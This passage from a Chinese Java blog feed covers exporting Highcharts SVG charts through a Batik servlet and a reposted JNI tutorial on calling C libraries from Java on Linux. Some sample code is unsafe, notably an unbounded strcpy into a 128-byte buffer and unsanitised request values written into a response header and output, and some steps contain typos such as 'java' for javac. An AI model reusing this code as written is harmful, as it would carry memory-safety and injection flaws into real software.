     } <span style="color: #0000ff">else</span> <span style="color: #0000ff">if</span> (type.equals("<span style="color: #8b0000">image/jpeg</span>")) {
  ext = "<span style="color: #8b0000">jpg</span>";
  t = <span style="color: #0000ff">new</span> JPEGTranscoder();
     } <span style="color: #0000ff">else</span> <span style="color: #0000ff">if</span> (type.equals("<span style="color: #8b0000">application/pdf</span>")) {
                ext = "<span style="color: #8b0000">pdf</span>";
                t = <span style="color: #0000ff">new</span> PDFTranscoder();
           }
     response.addHeader("<span style="color: #8b0000">Content-Disposition</span>", "<span style="color: #8b0000">attachment; filename=</span>"+ filename + "<span style="color: #8b0000">.</span>"+ext);
     response.addHeader("<span style="color: #8b0000">Content-Type</span>", type);
     <span style="color: #0000ff">if</span> (<span style="color: #0000ff">null</span> != t) {
  TranscoderInput input = <span style="color: #0000ff">new</span> TranscoderInput(<span style="color: #0000ff">new</span> StringReader(svg));
  TranscoderOutput output = <span style="color: #0000ff">new</span> TranscoderOutput(out);
  <span style="color: #0000ff">try</span> {
      t.transcode(input, output);
  } <span style="color: #0000ff">catch</span> (TranscoderException e) {
      out.print("<span style="color: #8b0000">Problem transcoding stream. See the web logs for more details.</span>");
      e.printStackTrace();
  }
     } <span style="color: #0000ff">else</span> <span style="color: #0000ff">if</span> (ext.equals("<span style="color: #8b0000">svg</span>")) {
  out.print(svg);
     }  <span style="color: #0000ff">else</span> {
  out.print("<span style="color: #8b0000">Invalid type: </span>" + type);
     }
 } <span style="color: #0000ff">else</span> {
     response.addHeader("<span style="color: #8b0000">Content-Type</span>", "<span style="color: #8b0000">text/html</span>");
     out.println("<span style="color: #8b0000">Usage:\n\tParameter [svg]: The DOM Element to be converted.
            \n\tParameter [type]: The destination MIME type for the elment to be transcoded.</span>");
 }
 out.flush();
 out.close();
    }
}</pre>
<p>程序比较简单，接收页面传递的参数type、svg、filename，根据导出格式不同new不同的transcoder。</p>
<p>batik 1.6版本中好像没有提供对pdf格式导出的支持，所有如果程序报错，就把导出为pdf的功能去掉。</p>
<p>filename和export url都有默认值，可以在生成chart的配置中指定filename和我们自己的export url。在new Highcharts.Chart({})中加入下面代码</p><pre>exporting:{
    filename:'<span style="color: #0000ff">class</span>-booking-chart',
    url:'http://export.highcharts.com/'
}</pre>
<p>其他基本就可以直接将demo的数据修改为自己需要的。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>本文来自<a href="http://www.hencuo.com/archives/109">http://www.hencuo.com/archives/109</a></p>
<p>//可以设置下编码，解决中文乱码问题<br />response.setContentType(&#8220;text/html; charset=&#8221; + encoding);<br />//并用OutputStreamWriter包装ServletOutputStream转换iso-8859-1为UTF-8可输出中文内容<br />OutputStreamWriter writer = new OutputStreamWriter(out, &#8220;UTF-8&#8243;);</p>
<p>else if (ext.equals(&#8220;svg&#8221;)) {<br />// image/svg+xml<br />writer.append(svg);<br />writer.flush();<br />}</p></div></td></tr></tbody></table><img src ="http://www.blogjava.net/hijackwust/aggbug/354553.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2011-07-18 18:39 <a href="http://www.blogjava.net/hijackwust/archive/2011/07/18/354553.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>jni 调用C动态库dll/so</title><link>http://www.blogjava.net/hijackwust/archive/2011/07/18/354552.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Mon, 18 Jul 2011 10:36:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2011/07/18/354552.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/354552.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2011/07/18/354552.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/354552.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/354552.html</trackback:ping><description><![CDATA[<br /><br />转自：<a href="http://hi.baidu.com/fengying765/blog/item/7081113e5fde53e555e7233f.html">http://hi.baidu.com/fengying765/blog/item/7081113e5fde53e555e7233f.html</a><br /><br /><br />
<p style="text-indent: 21pt">作为主调方的Java源程序TestJNI.java如下。</p>
<p style="margin: 7.2pt 0cm 3.6pt">代码清单15-4 在Linux平台上调用C函数的例程&#8212;&#8212;TestJNI.java</p>
<p style="margin-left: 21pt; text-indent: -21pt">1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public class TestJNI</p>
<p style="margin-left: 21pt; text-indent: -21pt">2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; static</p>
<p style="margin-left: 21pt; text-indent: -21pt">4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; System.loadLibrary("testjni");//载入静态库，test函数在其中实现</p>
<p style="margin-left: 21pt; text-indent: -21pt">6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; }</p>
<p style="margin-left: 21pt; text-indent: -21pt">7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p style="margin-left: 21pt; text-indent: -21pt">8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; private native void testjni(); //声明本地调用</p>
<p style="margin-left: 21pt; text-indent: -21pt">9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</p>
<p style="margin-left: 21pt; text-indent: -21pt">10.&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; public void test()</p>
<p style="margin-left: 21pt; text-indent: -21pt">11.&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">12.&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; testjni();</p>
<p style="margin-left: 21pt; text-indent: -21pt">13.&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; }</p>
<p style="margin-left: 21pt; text-indent: -21pt">14.&nbsp;&nbsp;&nbsp; </p>
<p style="margin-left: 21pt; text-indent: -21pt">15.&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; public static void main(String args[])</p>
<p style="margin-left: 21pt; text-indent: -21pt">16.&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">17.&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; TestJNI haha = new TestJNI();</p>
<p style="margin-left: 21pt; text-indent: -21pt">18.&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; haha.test();</p>
<p style="margin-left: 21pt; text-indent: -21pt">19.&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; }</p>
<div style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 1pt; border-top-style: none; padding-top: 0cm; border-bottom: rgb(153,153,153) 1pt solid; border-right-style: none; border-left-style: none">
<p style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 0cm; margin-left: 21pt; border-top-style: none; text-indent: -21pt; padding-top: 0cm; border-right-style: none; border-left-style: none; border-bottom-style: none">20.&nbsp;&nbsp;&nbsp; }</p></div>
<p style="margin-top: 6pt; text-indent: 21pt">TestJNI.java声明从libtestjni.so（注意Linux平台的动态链接库文件的扩展名是.so）中调用函数testjni()。</p>
<div style="border-right: rgb(217,217,217) 1pt solid; padding-right: 4pt; border-top: rgb(217,217,217) 1pt solid; padding-left: 4pt;background: rgb(217,217,217) 0% 50%; padding-bottom: 1pt; margin-left: 47.25pt; border-left: rgb(217,217,217) 1pt solid; margin-right: 5.25pt; padding-top: 1pt; border-bottom: rgb(217,217,217) 1pt solid; moz-background-clip: -moz-initial; moz-background-origin: -moz-initial; moz-background-inline-policy: -moz-initial">在Linux平台上，遵循JNI规范的动态链接库文件名必须以&#8220;lib&#8221;开头。例如在上面的Java程序中指定的库文件名为&#8220;testjni&#8221;，则实际的库文件应该命名为&#8220;libtestjni.so&#8221;。</div>
<p style="margin-bottom: 6pt; text-indent: 21pt">编译TestJNI.java，并为C程序生成头文件：</p>
<div style="border-right: black 1pt solid; padding-right: 4pt; border-top: black 1pt solid; padding-left: 4pt;background: rgb(217,217,217) 0% 50%; padding-bottom: 1pt; margin-left: 5.25pt; border-left: black 1pt solid; margin-right: 5.25pt; padding-top: 1pt; border-bottom: black 1pt solid; moz-background-clip: -moz-initial; moz-background-origin: -moz-initial; moz-background-inline-policy: -moz-initial">
<p style="background: rgb(217,217,217) 0% 50%; margin: 0cm 0cm 0pt; text-indent: 21pt; moz-background-clip: -moz-initial; moz-background-origin: -moz-initial; moz-background-inline-policy: -moz-initial">java TestJNI.java</p>
<p style="background: rgb(217,217,217) 0% 50%; margin: 0cm 0cm 0pt; text-indent: 21pt; moz-background-clip: -moz-initial; moz-background-origin: -moz-initial; moz-background-inline-policy: -moz-initial">javah TestJNI</p></div>
<p style="margin-top: 6pt; text-indent: 21pt">提供testjni()函数的testjni.c源文件如下。</p>
<p style="margin: 7.2pt 0cm 3.6pt">代码清单15-5 在Linux平台上调用C函数的例程&#8212;&#8212;testjni.c</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #include &lt;stdio.h&gt;</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #include &lt;TestJNI.h&gt;&nbsp;&nbsp; </p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp; JNIEXPORT void JNICALL Java_TestJNI_testjni(JNIEnv *env, jobject obj){</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("haha---------go into c!!!\n");</p>
<div style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 1pt; border-top-style: none; padding-top: 0cm; border-bottom: rgb(153,153,153) 1pt solid; border-right-style: none; border-left-style: none">
<p style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 0cm; margin-left: 21pt; border-top-style: none; text-indent: -21pt; padding-top: 0cm; border-right-style: none; border-left-style: none; border-bottom-style: none">&nbsp;&nbsp;&nbsp;&nbsp; }</p></div>
<p style="margin: 6pt 0cm; text-indent: 21pt">编写Makefile文件如下，JDK安装的位置请读者自行调整：</p>
<div style="border-right: black 1pt solid; padding-right: 4pt; border-top: black 1pt solid; padding-left: 4pt;background: rgb(217,217,217) 0% 50%; padding-bottom: 1pt; margin-left: 5.25pt; border-left: black 1pt solid; margin-right: 5.25pt; padding-top: 1pt; border-bottom: black 1pt solid; moz-background-clip: -moz-initial; moz-background-origin: -moz-initial; moz-background-inline-policy: -moz-initial">
<p style="background: rgb(217,217,217) 0% 50%; margin: 0cm 0cm 0pt; text-indent: 21pt; moz-background-clip: -moz-initial; moz-background-origin: -moz-initial; moz-background-inline-policy: -moz-initial">libtestjni.so:testjni.o</p>
<p style="background: rgb(217,217,217) 0% 50%; margin: 0cm 0cm 0pt; text-indent: 21pt; moz-background-clip: -moz-initial; moz-background-origin: -moz-initial; moz-background-inline-policy: -moz-initial">&nbsp;&nbsp;&nbsp;&nbsp; gcc -rdynamic -shared -o libtestjni.so testjni.o</p>
<p style="background: rgb(217,217,217) 0% 50%; margin: 0cm 0cm 0pt; text-indent: 21pt; moz-background-clip: -moz-initial; moz-background-origin: -moz-initial; moz-background-inline-policy: -moz-initial">testjni.o:testjni.c TestJNI.h</p>
<p style="background: rgb(217,217,217) 0% 50%; margin: 0cm 0cm 0pt; text-indent: 21pt; moz-background-clip: -moz-initial; moz-background-origin: -moz-initial; moz-background-inline-policy: -moz-initial">&nbsp;&nbsp;&nbsp;&nbsp; gcc -c testjni.c -I./ -I/usr/java/jdk1.6.0_00/include -I/usr/java/jdk1.6.0_00/include/linux</p></div>
<p style="margin-top: 6pt; text-indent: 21pt">在Makefile文件中，我们描述了最终的 libtestjin.so依赖于目标文件testjni.o，而testjni.o则依赖于testjni.c源文件和TestJNI.h头文件。请注 意，我们在将testjni.o连接成动态链接库文件时使用了&#8220;-rdynamic&#8221;选项。</p>
<p style="text-indent: 21pt">执行make命令编译testjni.c。Linux平台和在Windows平台上类似，有3种方法可以让Java程序找到并装载动态链接库文件。</p>
<p style="margin-left: 33.05pt; text-indent: -12.05pt">&#8212; 将动态链接库文件放置在当前路径下。</p>
<p style="margin-left: 33.05pt; text-indent: -12.05pt">&#8212; 将动态链接库文件放置在LD_LIBRARY_PATH环境变量所指向的路径下。注意这一点和Windows平台稍有区别，Windows平台参考PATH环境变量。</p>
<p style="margin-left: 33.05pt; text-indent: -12.05pt">&#8212; 在启动JVM时指定选项&#8220;-Djava.library.path&#8221;，将动态链接库文件放置在该选项所指向的路径下。</p>
<p style="text-indent: 21pt">从下一节开始，我们开始接触到在JNI框架内Java调用C程序的一些高级话题，包括如何传递参数、如何传递数组、如何传递对象等。</p>
<p style="text-indent: 21pt">各种类型数据的传递是跨平台、跨语言互操作的永恒话题，更复杂的操作其实都可以分解为各种 基本数据类型的操作。只有掌握了基于各种数据类型的互操作，才能称得上掌握了JNI开发。从下一节开始，环境和步骤不再是阐述的重点，将不再花费专门的篇 幅，例程中的关键点将成为我们关注的焦点。</p>
<h4 style="margin-left: 21pt">15.2.2.3 传递字符串</h4>
<p style="text-indent: 21pt">到目前为止，我们还没有实现Java程序向C程序传递参数，或者C程序向Java程序传递参数。本例程将由Java程序向C程序传入一个字符串，C程序对该字符串转成大写形式后回传给Java程序。</p>
<p style="text-indent: 21pt">Java源程序如下。</p>
<p style="margin: 7.2pt 0cm 3.6pt">代码清单15-6 在Linux平台上调用C函数的例程&#8212;&#8212;Sample1</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public class Sample1</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public native String stringMethod(String text);</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp; public static void main(String[] args)</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; System.loadLibrary("Sample1");</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Sample1 sample = new Sample1();</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; String text&nbsp;&nbsp; = sample.stringMethod("Thinking In Java");</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; System.out.println("stringMethod: " + text);</p>
<p style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 0cm; margin-left: 21pt; border-top-style: none; text-indent: -21pt; padding-top: 0cm; border-right-style: none; border-left-style: none; border-bottom-style: none">&nbsp;&nbsp;&nbsp; }</p>
<p style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 0cm; margin-left: 21pt; border-top-style: none; text-indent: -21pt; padding-top: 0cm; border-right-style: none; border-left-style: none; border-bottom-style: none">}</p>
<div style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 1pt; border-top-style: none; padding-top: 0cm; border-bottom: rgb(153,153,153) 1pt solid; border-right-style: none; border-left-style: none"></div>
<p style="margin-top: 6pt; text-indent: 21pt">Sample1.java以&#8220;Thinking In Java&#8221;为参数调用libSample1.so中的函数stringMethod()，在得到返回的字符串后打印输出。</p>
<p style="text-indent: 21pt">Sample1.c的源程序如下。</p>
<p style="margin: 7.2pt 0cm 3.6pt">代码清单15-7 在Linux平台上调用C函数的例程&#8212;&#8212;Sample1.c</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #include &lt;Sample1.h&gt;</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #include &lt;string.h&gt;&nbsp;&nbsp;&nbsp; </p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JNIEXPORT jstring JNICALL Java_Sample1_stringMethod(JNIEnv *env, jobject obj, jstring string)</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; const char *str = (*env)-&gt;GetStringUTFChars(env, string, 0);</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; char cap[128];</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; strcpy(cap, str);</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; (*env)-&gt;ReleaseStringUTFChars(env, string, str);</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; int i=0;</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; for(i=0;i&lt;strlen(cap);i++)</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *(cap+i)=(char)toupper(*(cap+i));</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return (*env)-&gt;NewStringUTF(env, cap);</p>
<div style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 1pt; border-top-style: none; padding-top: 0cm; border-bottom: rgb(153,153,153) 1pt solid; border-right-style: none; border-left-style: none">
<p style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 0cm; margin-left: 21pt; border-top-style: none; text-indent: -21pt; padding-top: 0cm; border-right-style: none; border-left-style: none; border-bottom-style: none">&nbsp;&nbsp;&nbsp; }</p></div>
<p style="margin-top: 6pt; text-indent: 21pt">首先请注意函数头部分，函数接收一个jstring类 型的输入参数，并输出一个jstring类型的参数。jstring是jni.h中定义的数据类型，是JNI框架内特有的字符串类型，因为jni.h在 Sample1.h中被引入，因此在Sample1.c中无须再次引入。</p>
<p style="text-indent: 21pt">程序的第4行是从JNI调用上下文中获取UTF编码的输入字符，将其放在指针str所指向 的一段内存中。第9行是释放这段内存。第13行是将经过大写转换的字符串予以返回，这一句使用了NewStringUTF()函数，将C语言的字符串指针 转换为JNI的jstring类型。JNIEnv也是在jni.h中定义的，代表JNI调用的上下文，GetStringUTFChars()、 ReleaseStringUTFChars()和NewStringUTF()均是JNIEnv的函数。</p>
<h4 style="margin-left: 21pt">15.2.2.4 传递整型数组</h4>
<p style="text-indent: 21pt">本节例程将首次尝试在JNI框架内启用数组：C程序向Java程序返回一个定长的整型数组成的数组，Java程序将该数组打印输出。</p>
<p style="text-indent: 21pt">Java程序的源代码如下。</p>
<p style="margin: 7.2pt 0cm 3.6pt">代码清单15-8 在Linux平台上调用C函数的例程&#8212;&#8212;Sample2</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public class Sample2</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp; public native int[] intMethod(); </p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public static void main(String[] args)</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; System.loadLibrary("Sample2");</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Sample2 sample=new Sample2();</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; int[] nums=sample.intMethod();</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; for(int i=0;i&lt;nums.length;i++)</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(nums[i]);</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; }</p>
<div style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 1pt; border-top-style: none; padding-top: 0cm; border-bottom: rgb(153,153,153) 1pt solid; border-right-style: none; border-left-style: none">
<p style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 0cm; margin-left: 21pt; border-top-style: none; text-indent: -21pt; padding-top: 0cm; border-right-style: none; border-left-style: none; border-bottom-style: none">}</p></div>
<p style="margin-top: 6pt; text-indent: 21pt">Sample2.java调用libSample2.so中的函数intMethod()。Sample2.c的源代码如下。</p>
<p style="margin: 7.2pt 0cm 3.6pt">代码清单15-9 在Linux平台上调用C函数的例程&#8212;&#8212;Sample2.c</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #include &lt;Sample2.h&gt;</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JNIEXPORT jintArray JNICALL Java_Sample2_intMethod(JNIEnv *env, jobject obj)</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inti = 1;</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jintArray array;//定义数组对象</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; array = (*env)-&gt; NewIntArray(env, 10);</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(; i&lt;= 10; i++)</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; (*env)-&gt;SetIntArrayRegion(env, array, i-1, 1, &amp;i);</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; </p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; /* 获取数组对象的元素个数 */</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp; int len = (*env)-&gt;GetArrayLength(env, array);</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; /* 获取数组中的所有元素 */</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp; jint* elems = (*env)-&gt; GetIntArrayElements(env, array, 0);</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; for(i=0; i&lt;len; i++)</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; printf("ELEMENT %d IS %d\n", i, elems[i]); </p>
<p style="margin-left: 21pt; text-indent: -21pt"></p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; return array;</p>
<div style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 1pt; border-top-style: none; padding-top: 0cm; border-bottom: rgb(153,153,153) 1pt solid; border-right-style: none; border-left-style: none">
<p style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 0cm; margin-left: 21pt; border-top-style: none; text-indent: -21pt; padding-top: 0cm; border-right-style: none; border-left-style: none; border-bottom-style: none">&nbsp;&nbsp;&nbsp; }</p></div>
<p style="margin-top: 6pt; text-indent: 21pt">Sample2.c涉及了两个jni.h定义的整型数 相关的数据类型：jint和jintArray，jint是在JNI框架内特有的整数类型。程序的第7行开辟出一个长度为10 的jint数组。然后依次向该数组中放入元素1-10。第11行至第16行不是程序的必须部分，纯粹是为了向读者们演示GetArrayLength() 和GetIntArrayElements()这两个函数的使用方法，前者是获取数组长度，后者则是获取数组的首地址以便于遍历数组。</p>
<h4 style="margin-left: 21pt">15.2.2.5 传递字符串数组</h4>
<p style="text-indent: 21pt">本节例程是对上节例程的进一步深化：虽然仍然是传递数组，但是数组的基类换成了字符串这样一种对象数据类型。Java程序将向C程序传入一个包含中文字符的字符串，C程序并没有处理这个字符串，而是开辟出一个新的字符串数组返回给Java程序，其中还包含两个汉字字符串。</p>
<p style="text-indent: 21pt">Java程序的源代码如下。</p>
<p style="margin: 7.2pt 0cm 3.6pt">代码清单15-10 在Linux平台上调用C函数的例程&#8212;&#8212;Sample3</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public class Sample3</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public native String[] stringMethod(String text);</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br /></p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public static void main(String[] args) throws java.io.UnsupportedEncodingException</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; System.loadLibrary("Sample3");</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Sample3 sample = new Sample3();</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; String[] texts = sample.stringMethod("java编程思想");</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; for(int i=0;i&lt;texts.length;i++)</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; texts[i]=new String(texts[i].getBytes("ISO8859-1"),"GBK");</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.print( texts[i] );</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; System.out.println();</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; }</p>
<div style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 1pt; border-top-style: none; padding-top: 0cm; border-bottom: rgb(153,153,153) 1pt solid; border-right-style: none; border-left-style: none">
<p style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 0cm; margin-left: 21pt; border-top-style: none; text-indent: -21pt; padding-top: 0cm; border-right-style: none; border-left-style: none; border-bottom-style: none">&nbsp;&nbsp;&nbsp; }</p></div>
<p style="margin-top: 6pt; text-indent: 21pt">Sample3.java调用libSample3.so中的函数stringMethod()。Sample3.c的源代码如下：</p>
<p style="margin: 7.2pt 0cm 3.6pt">代码清单15-11 在Linux平台上调用C函数的例程&#8212;&#8212;Sample3.c</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #include &lt;Sample3.h&gt;</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #include &lt;string.h&gt;</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #include &lt;stdlib.h&gt;</p>
